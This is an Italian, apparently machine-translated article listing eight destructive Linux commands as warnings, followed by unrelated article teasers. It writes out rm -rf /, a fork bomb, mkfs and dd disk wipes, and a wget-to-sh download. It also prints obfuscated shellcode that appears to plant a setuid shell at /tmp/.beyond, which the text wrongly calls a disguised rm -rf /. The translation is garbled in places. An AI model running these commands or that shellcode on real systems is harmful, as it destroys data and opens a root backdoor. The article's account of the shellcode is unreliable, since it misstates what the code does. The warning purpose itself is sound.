8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

I comandi del terminale su Linux sono piuttosto distruttivi, se esegui un comando distruggerà il tuo sistema. Linux non richiede conferma durante l'esecuzione di qualsiasi comando.

Imparare quali comandi non dovrebbero essere eseguiti su Linux aiuta a proteggere il tuo sistema quando lavori su Linux. Di seguito sono riportati 8 comandi mortali che non dovresti mai eseguire su Linux.

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

1. rm -rf / - cancella tutto

Il comando rm -rf / eliminerà tutto, inclusi i file sul disco rigido e i file sui dispositivi multimediali collegati al computer.

Per comprendere meglio questo comando, analizzatelo come segue:

  • rm – Elimina i seguenti file.
  • -rf – esegue rm (elimina tutti i file e le cartelle all'interno di una cartella specificata) ed elimina forzatamente tutti i file senza prima chiedertelo.
  • / – Indica che rm (ad esempio rm) inizia nella directory principale, inclusi tutti i file sul tuo computer.

Linux seguirà felicemente questo comando ed eliminerà tutto senza avvisarti, quindi fai attenzione quando usi questo comando.

Inoltre il comando rm viene utilizzato anche in modi molto pericolosi. Ad esempio, rm –rf ~ eliminerà tutti i file nella cartella Home e rm -rf .* eliminerà tutti i file di configurazione.

2. Comando mascherato rm –rf /

Ecco uno snippet di codice in tutto il Web:

char esp[] __attribute__ ((section(".text"))) /* versione esp */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

Questa è essenzialmente un'altra versione di rm –rf / – l'esecuzione di questo comando eliminerà anche tutti i tuoi file, proprio come l'esecuzione di rm –rf /.

3. :(){ :|: & };: – Un tipo di blockbuster

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

La riga di comando seguente sembra molto semplice ma la sua funzione è in realtà molto pericolosa:

:(){ :|: & };:

Questo breve comando creerà nuove copie di se stesso. Cioè, il processo di backup stesso sarà continuo e causerà rapidamente il riempimento della CPU e della memoria.

Inoltre può causare il blocco del computer. Si tratta fondamentalmente di un attacco Denial of Service (DoS).

4. mkfs.ext4 /dev/sda1 – Formati del disco rigido

Il comando mkfs.ext4 /dev/sda1 è abbastanza facile da capire:

  • mkfs.ext4: crea un file system ext4 sul seguente dispositivo.
  • /dev/sda1 - identifica la prima partizione sul primo disco rigido, che potrebbe essere il disco rigido in uso.

Combinare questi due comandi equivale a formattare l'unità C: su Windows: elimina tutti i file sulla prima partizione e sostituiscili con il nuovo file system.

Questo comando può apparire in molti formati diversi, ad esempio: mkfs.ext3 /dev/sdb2 formatterà la seconda partizione sul secondo disco rigido con il file system ext3.

5. comando > /dev/sda - scrivi direttamente su un disco rigido

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

Riga di comando > /dev/sda: esegui un comando e invia il risultato di quel comando direttamente al tuo primo disco rigido, scrivendo i dati direttamente sul disco rigido e distruggendo il tuo file system.

  • comando – Esegue un comando (può essere qualsiasi comando).
  • > – invia l'output del comando alla seguente posizione.
  • /dev/sda – Scrive l'output del comando direttamente sul dispositivo del disco rigido.

6. dd if=/dev/random of=/dev/sda – scrive dati stupidi sul disco rigido

La riga dd if=/dev/random of=/dev/sda cancellerà i dati su uno dei tuoi dischi rigidi.

  • dd – consiste nell'eseguire una copia di basso livello da una posizione all'altra.
  • if=/dev/random – Usa /dev/random come input – potresti vedere indirizzi come /dev/zero.
  • of=/dev/sda – output sul primo disco rigido, sostituendo il file system con dati stupidi casuali.

7. mv ~ /dev/null – Sposta la tua directory Home in un buco nero

/dev/null - spostare qualcosa in /dev/null equivale a distruggerlo. Pensa a /dev/null come a un buco nero. mv ~ /dev/null invierà tutti i tuoi file personali in un buco nero.

  • mv – sposta il seguente file o cartella in un'altra posizione.
  • ~ – L'intera cartella Home.
  • /dev/null – Sposta la tua cartella Home in /dev/null, distruggerà tutti i tuoi file ed eliminerà le copie originali.

8. wget http://example.com/qualcosa -O – | sh: carica ed esegui uno script

Il comando precedente scaricherà uno script dal Web e invierà lo script a sh, che eseguirà il contenuto dello script. Questo può essere pericoloso se non sei sicuro di cosa sia uno script o non disponi di una fonte di script attendibile: non eseguire script non attendibili.

wget – scarica un file.

http://example.com/something: scarica i file da questa posizione.

| – Invia tramite pipe l'output del comando wget (file della versione scaricata) direttamente a un altro comando.

sh – invia il file al comando sh.

Fare riferimento ad alcuni altri articoli di seguito:

Divertirsi!


Protocolli di rete popolari oggi

Protocolli di rete popolari oggi

Esistono molti protocolli di rete per stabilire una connessione su Internet. A seconda del tipo di connessione che si vuole stabilire, anche i protocolli utilizzati sono molto diversi. Questi protocolli di rete determinano le caratteristiche della connessione. Scopriamo quali sono questi protocolli attraverso il seguente articolo!

Specifica come raggruppare i pulsanti sulla barra delle applicazioni in Windows 10

Specifica come raggruppare i pulsanti sulla barra delle applicazioni in Windows 10

Windows include una speciale barra degli strumenti del desktop denominata barra delle applicazioni. Se disponi di più display, puoi impostare opzioni di raggruppamento separate per il pulsante della barra delle applicazioni principale e per le altre barre delle applicazioni.

Lo strumento di test dellhardware per laptop Surface è ora disponibile in Windows Store

Lo strumento di test dellhardware per laptop Surface è ora disponibile in Windows Store

Lo strumento ufficiale di test dell'hardware Surface di Microsoft: Surface Diagnostic Toolkit è ora disponibile in Windows Store. Vediamo cosa c'è di speciale in questa applicazione!

Suggerimenti per personalizzare la trasparenza del menu Start in Windows 10

Suggerimenti per personalizzare la trasparenza del menu Start in Windows 10

Windows 10 consente agli utenti di controllare la trasparenza dell'interfaccia del menu Start per renderla più bella. Quindi come si fa? Seguiamo l'articolo per sapere come fare!

Guardando indietro a Windows CE: una versione speciale di Windows

Guardando indietro a Windows CE: una versione speciale di Windows

Microsoft ha rilasciato per la prima volta Windows CE nel novembre 1996 come una nuova versione di Windows con funzionalità speciali senza precedenti.

Come configurare la stampante predefinita su Windows 10

Come configurare la stampante predefinita su Windows 10

In questo articolo, Quantrimang ti mostrerà come configurare la stampante predefinita e impedire a Windows 10 di modificare automaticamente questa impostazione.

Come eseguire il backup e il ripristino delle app Windows 10 senza software

Come eseguire il backup e il ripristino delle app Windows 10 senza software

Anche le applicazioni e le utilità Windows che utilizzi creano dati, quindi l'articolo di oggi ti mostrerà come eseguirne il backup e il ripristino senza utilizzare alcun software.

Come creare scorciatoie per aprire le applicazioni su Windows 10

Come creare scorciatoie per aprire le applicazioni su Windows 10

Per impostazione predefinita, la maggior parte delle applicazioni su Windows 10 verranno bloccate nel menu Start. Se si desidera accedere all'applicazione, è necessario fare clic sull'applicazione. Tuttavia, anziché ogni volta che desideri utilizzare un'applicazione, devi utilizzare il mouse per aprirla. Puoi invece creare una scorciatoia da tastiera per aprire quell'applicazione.

Come pianificare le scansioni automatiche per Windows Defender su Windows 8

Come pianificare le scansioni automatiche per Windows Defender su Windows 8

Windows Defender fornisce protezione in tempo reale e può essere eseguito manualmente, ma se desideri eseguirlo automaticamente secondo una pianificazione regolare per una maggiore sicurezza, puoi utilizzare l'Utilità di pianificazione.

Trucco per aumentare il numero di elementi visualizzati nella Jump List su Windows 10

Trucco per aumentare il numero di elementi visualizzati nella Jump List su Windows 10

Normalmente, Jump List mostra solo 12 elementi, ma se vuoi aumentarlo di più, devi fare il trucco per cambiare il numero di elementi visualizzati in Jump List su Windows 10. Di seguito è riportato il trucco per aumentare il numero di elementi in Jump Elenco.